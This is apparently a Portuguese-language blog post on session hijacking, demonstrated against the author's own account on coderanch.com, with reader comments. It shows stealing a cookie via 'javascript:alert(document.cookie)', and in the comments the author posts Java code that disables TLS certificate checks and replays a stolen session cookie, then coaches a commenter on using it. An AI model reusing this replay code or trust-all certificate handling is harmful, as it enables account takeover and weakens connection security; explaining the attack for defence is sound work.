Sequestro de Sessão – Invadindo o javaranch.com

Postado em Atualizado em

Um dos ataques mais comuns a sistemas web na atualidade é o sequestro de sessão ou mais conhecido como “Session Hijacking”. Hoje eu gostaria de falar um pouco sobre o assunto, apresentando uma aplicação prática de como roubar uma sessão, invadir um site e acessar a conta da vítima.

HTTP é Stateless

A facilidade de se roubar uma sessão se da pelo justo fato do HTTP ser um protocolo de comunicação sem estado e por isso necessitar que um número de identificação trafegue dentro de todas as interações que um navegador de internet fizer para se comunicar com a solução web.

Como isso funciona?

Todas as vezes que você acessa uma aplicação web, o sistema te envia um numero único que será usado para identificar que você é você durante o uso da aplicação ao longo do tempo. Ou seja, todas as vezes que você entrar no site após abrir o navegador de internet, o sistema vai te enviar um número como por exemplo: 123ABC que será seu identificador único.  O navegador de internet foi programado para  armazenar esse número e envia-lo de volta todas as vezes que você interagir com o sistema, clicando (link, botão, aba, menu etc) na página, fazendo a solução web processar seu pedido e saber que você é você. A questão é que esse identificador fica disponível e visível para ser roubado por qualquer pessoa que tenha conhecimentos mínimos de manipulação de rede e ou protocolo HTTP.

Como roubar o identificador?

O identificador pode ser facilmente roubado de varias maneiras. Segue alguma delas:

1. Trafego HTTP – qualquer pessoa que tenha conhecimentos básicos de rede pode facilmente usar uma ferramenta chamada de “Sniffer” para interceptar todos os pedidos de internet trafegados em uma rede, visualizando todo o conteúdo do protocolo e assim localizar esse identificador.

2. No Navegador – o identificar pode ser acessado via javascript usando o comando “documento.cookie”. Isso abre varias possibilidades:

  • Qualquer pessoa que saiba escrever código javascript pode executar esse comando no navegador e obter o identificador.
  • Pode existir vírus instalados na estação do usuário sem o seu consentimento que também pode obter o identificador manipulando o navegador.

3. Link Malisioso – O usuário pode ser induzido a entrar em um link originário de algum e-mail falso ou de outro site dizendo “depois de logar no seu internet bank, click aqui para atualizar seu cadastro”. O link ou o site falso pode ser programado para ter comandos javascript que extraia esse identificador.

4. Adivinhação – Algumas soluções web tem a geração do número identificar seguindo uma lógica no qual pode ser facilmente adivinhado. Por exemplo, se o último identificador gerado foi ABC123 o próximo poderia ABC1234.

De qualquer forma que o identificador seje sequestrado, o atacante de posse desse número pode então acessar e usar a solução web fazendo o sistema pensar que o atacante é o próprio usuário autenticado.

Exemplo

Você entra no seu site de comercio eletrônico preferido, colocando seu login e senha. A partir disso começa a navegar nos livros, procurando algum do seu interesse. Nesse tempo seu identificador de sessão é roubado por uma pessoa que esta visualizando todo o trafego HTTP da rede e o atacante assim faz comunicação com essa aplicação web de comercio eletrônico fazendo a solução pensar que ele é você usando o sistema. Diante disse, o atacante pode então executar qualquer ação maliciosa que prejudique você e a solução como por exemplo, visualizar e ou alterar suas informações pessoais como endereço, cartão de credito, trocar seu cadastro, gastar seus cupons de vale-desconto ou colocar um endereço de entrega falso, ficando com sua última compra. Tudo depende do cenário da aplicação.

Prática

Vamos para a brincadeira. Hoje vamos invadir o site do Java Ranch muito conhecido pela comunidade Java mundial. O endereço do site é http://www.coderanch.com/forums/user/login e da acesso para a pagina de autenticação:

Vou colocar meu usuário e senha, me autenticando na aplicação.

Veja que eu entro no link “My Profile” e vejo minhas informações pessoais:

Para simular o sequestro de sessão, vou executar um simples javascript no navegador que acessa o número. Eu digito na barra de endereço “javascript:alert(document.cookie)” e obtenho o número da minha sessão estabelecido após me autenticar:

Veja que esse roubo pode ser feito no tráfego, por vírus, spam de e-mail ou qualquer outra coisa que maliciosamente pegue esse número. Repare que o identificar de sessão neste site esta declarado como JSESSIONID=4AD7D9322052B800F6BF03D2811AA895;

Com esse número em mãos, o atacante pode usar qualquer ferramenta HTTP para trocar requisições no site do fórum anexando o ID da sessão roubado. Com isso, o site do javaranch vai responder achando que na verdade é o próprio usuário apenas fazendo mais uma requisição. Para mostrar isso, eu escrevi uma simples aplicação Java que envia um pedido HTTP para o qualquer endereço na internet, no qual eu possa mecanicamente adicionar um número da sessão e com isso simular o cenário. Segue a abaixo o fonte do sistema:

Esse sistema apenas envia uma requisição HTTP para um endereço configurado, anexando qualquer ID de sessão e como resultado imprime no console a página de resposta retornada pela aplicação. Ao executá-lo passando o valor da sessão roubada, o site do javaranch me envia a página de resposta do meu usuário, mostrando todos as minhas informações. Ou seja, o atacante agora pode então acessar o fórum fazendo a aplicação pensar que as requisições originarias da ferramenta de ataque são do próprio usuário logado. A partir dai é muito fácil manipular a ferramenta para gerar requisições que manipulem todos os processos disponibilizados pelo sistema. Caso alguem se interesse nessa ferramenta é só postar um comentário no artigo requisitando que eu prazer em compartilhar.

Como impedir os ataques?

Os responsáveis pelas soluções web devem estar cientes das possíveis vulnerabilidades existentes nas “entrelinhas” tecnológicas da atualidade, juntamente com as questões e situações que envolvem os “ciclos de desenvolvimento” e assim devem implementar contra-medidas que venham inibir cada vulnerabilidade que possam gerar problemas dentro do contexto da negocio da solução.
O sequestro de sessão é apenas um caso de brecha das muitas dezenas existentes hoje no qual eu percebo que maioria dos responsáveis estão na verdade mal preparados e completamente a margem da situação. Para os interessados no assunto segue as minhas dicas de leituras.

Eu me coloco a disposição para qualquer eventual dúvida sobre o assunto. Até a próxima pessoal 🙂 !

“Aquele que supre a semente ao que semeia e o pão ao que come, também lhes suprirá e multiplicará a semente e fará crescer os frutos da sua justiça.” 2 Coríntios 9:10

Anúncios

19 comentários em “Sequestro de Sessão – Invadindo o javaranch.com

    Bruno disse:
    06/01/2012 às 12:06

    Uma dúvida, existe essa vulnerabilidade de session utilizando https?

      Fernando Franzini respondido:
      06/01/2012 às 12:16

      Sim.
      1 – A chave privada do HTTPS/SSL pode ser roubada e assim os pacotes serem descriptografados no trafego. Vulnerabilidade N 7 do OWASP 2010.
      2 – O identificador da sessão pode ser roubado dentro do navegador via XSS (site, email, qualquer lugar que faça o usuário clickar num link malicioso), vírus instalados na estação ou engenharia social (foi oque eu fiz na brincadeira).
      3 – O identificador da sessão pode ser adivinhado caso a aplicação não tenha geração segura.
      No meu plano 2011 eu indique soluções para todos estes.

        Felipe disse:
        02/06/2013 às 23:57

        o roubo da chave privada nao é um problema do HTTPS, pra pessoa ter acesso a chave privada muita coisa tem q acontecer e nada relacionado ao HTTPS, quero dizer, a pessoa precisa de acesso ao servidor, lembrando q chaves privadas nao sao enviadas.
        Vulnerabilidade seria um man-in-the-middle, mas é algo q foge ao HTTPS.

    Bruno Furtado disse:
    08/01/2012 às 01:48

    Muito bom o artigo! Parabéns!

    Paulo Borges disse:
    09/01/2012 às 01:09

    HTTPS faz uso de SSL que por sua vezes usa a técnica de encriptação assimétrica (chave publica e chave privada)
    A chave privada é mantida no servidor, o navegador ira solicitar a chave publica para encriptar a comunicação com o servidor, sabendo que na criptografia assimétrica SO COM A CHAVE PRIVADA SE consegue desencriptar

    – SNIFER AQUI SERVE.
    – SO SE O HACKER CONSEGUIR ACESSO(PRIVILÉGIO “ROOT”) no servidor para poder ter acesso a chave PRIVADA.

    https://www.owasp.org/index.php/Top_10_2010-A7
    Vulnerabilidade N 7 do OWASP 2010. – ISTO È OUTRO ASSUNTO, nada a ver com HTTPs, SSL. É Relacionado com forma que se guarda dados sensiveis
    por exemplo: COMO ESTA GUARDADA A PASSWORD do Utilizador no Banco de Dados, ENCRIPTADO ou EM Texto Claro

    TODO PORTAL E-commerce que não tiver https É Mau Serviço Pretado

      Fernando Franzini respondido:
      09/01/2012 às 08:44

      Eu não disse que tinhar haver…Vou tentar explicar de nono, caso a chave privada do SSL seje roubada ou vendida por algum administrador interno, o HTTPS vai para o ralo. Aconteceu tal situação aqui no parana ano passado. E isso é justamente o item 7 OWASP.

    Gabriel RB disse:
    09/01/2012 às 11:41

    Ótimo artigo… Muito importante.. Compartilhando. valeu.

    Polarix disse:
    12/01/2012 às 18:27

    Adorei o Artigo… compartilhei no meu blog 😀

    Victor Borges disse:
    30/08/2012 às 14:13

    Realmente muito bom o artigo. Estava estudando forma de tornar o session segura e nada melhor que o código que a quebra para testá-la. Não sou nenhum mestre em JAVA, mas você poderia dividir o código comigo para que eu pudesse debulha-lo? grato

    Fernando Franzini respondido:
    30/08/2012 às 15:22

    import java.io.BufferedReader;
    import java.io.InputStreamReader;
    import java.net.HttpURLConnection;
    import java.net.URL;

    import javax.net.ssl.HttpsURLConnection;
    import javax.net.ssl.SSLContext;
    import javax.net.ssl.TrustManager;
    import javax.net.ssl.X509TrustManager;

    public class Roubo {
    public static void main(String[] args) throws Exception {
    TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
    public java.security.cert.X509Certificate[] getAcceptedIssuers() {
    return null;
    }

    public void checkClientTrusted(
    java.security.cert.X509Certificate[] certs, String authType) {
    }

    public void checkServerTrusted(
    java.security.cert.X509Certificate[] certs, String authType) {
    }
    } };
    try {
    SSLContext sc = SSLContext.getInstance(“SSL”);
    sc.init(null, trustAllCerts, new java.security.SecureRandom());
    HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
    } catch (Exception e) {
    }

    try {
    String site = “ENDEREÇO DO SITE ATACADO”;
    URL url = new URL(site);
    HttpURLConnection con = (HttpURLConnection) url.openConnection();
    con.setRequestMethod(“GET”);
    //con.setRequestProperty(“Cookie”, “JSESSIONID=71254DEA9B3AFDE8D9E262C09DDAAB61”);
    con.setRequestProperty(“Cookie”, “CONFIGUAÇÂO DO COOKIE NA UNHA”);
    con.connect();
    int response = con.getResponseCode();
    System.out.println(response);
    BufferedReader reader = new BufferedReader(new InputStreamReader(
    con.getInputStream()));
    String c = null;
    StringBuffer res = new StringBuffer();
    while ((c = reader.readLine()) != null) {
    res.append(c + “\n”);
    }
    System.out.println(res);
    System.out.println(con.getHeaderField(“Set-Cookie”));
    } catch (Exception e) {
    e.printStackTrace();
    }
    System.exit(0);
    }
    }

      Kadu Bomfim disse:
      21/09/2016 às 23:00

      posso executar esse codigo no eclips que funciona Fernando??
      o que tenho que fazer a mais?

        Fernando Franzini respondido:
        22/09/2016 às 09:37

        Ola Kadu.
        Não vai funcionar por que o código da sessão temporária “JSESSIONID=71254DEA9B3AFDE8D9E262C09DDAAB61” esta hardcode. Para fazer funcionar vc precisaria criar um conta no site, logar, roubar o identificador da sessão e colocar dentro desse código e ai sim executar. O código fonte é apenas um exemplo simples do como a coisa pode ser feito.
        T+

        Kadu Bomfim disse:
        22/09/2016 às 11:04

        entendi Fernando, muito obirgado, exelente trabalho.

    Luiz Dionízio disse:
    17/04/2013 às 01:05

    Fernando Franzini,
    Parabéns pelo artigo, muito claro e bem redigido. Obrigado por compartilha-lo.

    […] Sequestro de Sessão […]

    Kadu Bomfim disse:
    23/09/2016 às 15:54

    fernando depois que execultar, o que eu faço??

      Fernando Franzini respondido:
      23/09/2016 às 16:05

      Depois…não faz nada…kkkkk
      Se executar, foi que vc conseguiu invadir o site! Vc logou no navegador, roubou o id da sessão, repassou para outra aplicação e essa outra aplicação, conseguir se passar por um usuário valido. Isso quer dizer que o site que vc invadiu, não é seguro….isso apenas mostra 1 das possíveis invasões. Pessoas que criam aplicações web tem que se preocupar com essa e muitas outros tipos de invasões…

        Kadu Bomfim disse:
        23/09/2016 às 20:06

        mas tipo, blz executou, como que eu entro no mesmo site e tenho acesso a sessao roubada.
        eu fiz uma aplicação bem simples de login, eecutei o scrip pra roubar a sessao apos eu ter logado, blz peguei a sessio PHPSESSIONID…… coloquei no seu codigo junto com o nome do site e executei…rodou.
        como sei que to tendo acesso?
        sendo q nao abre a pagina da aplicação ja logada.
        como faço pra q isso aconteça?

    Fernando Franzini respondido:
    26/09/2016 às 09:38

    Se o script executou com a sessão já copiada…é q vc consegui invadir…só isso!

Deixe uma resposta

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s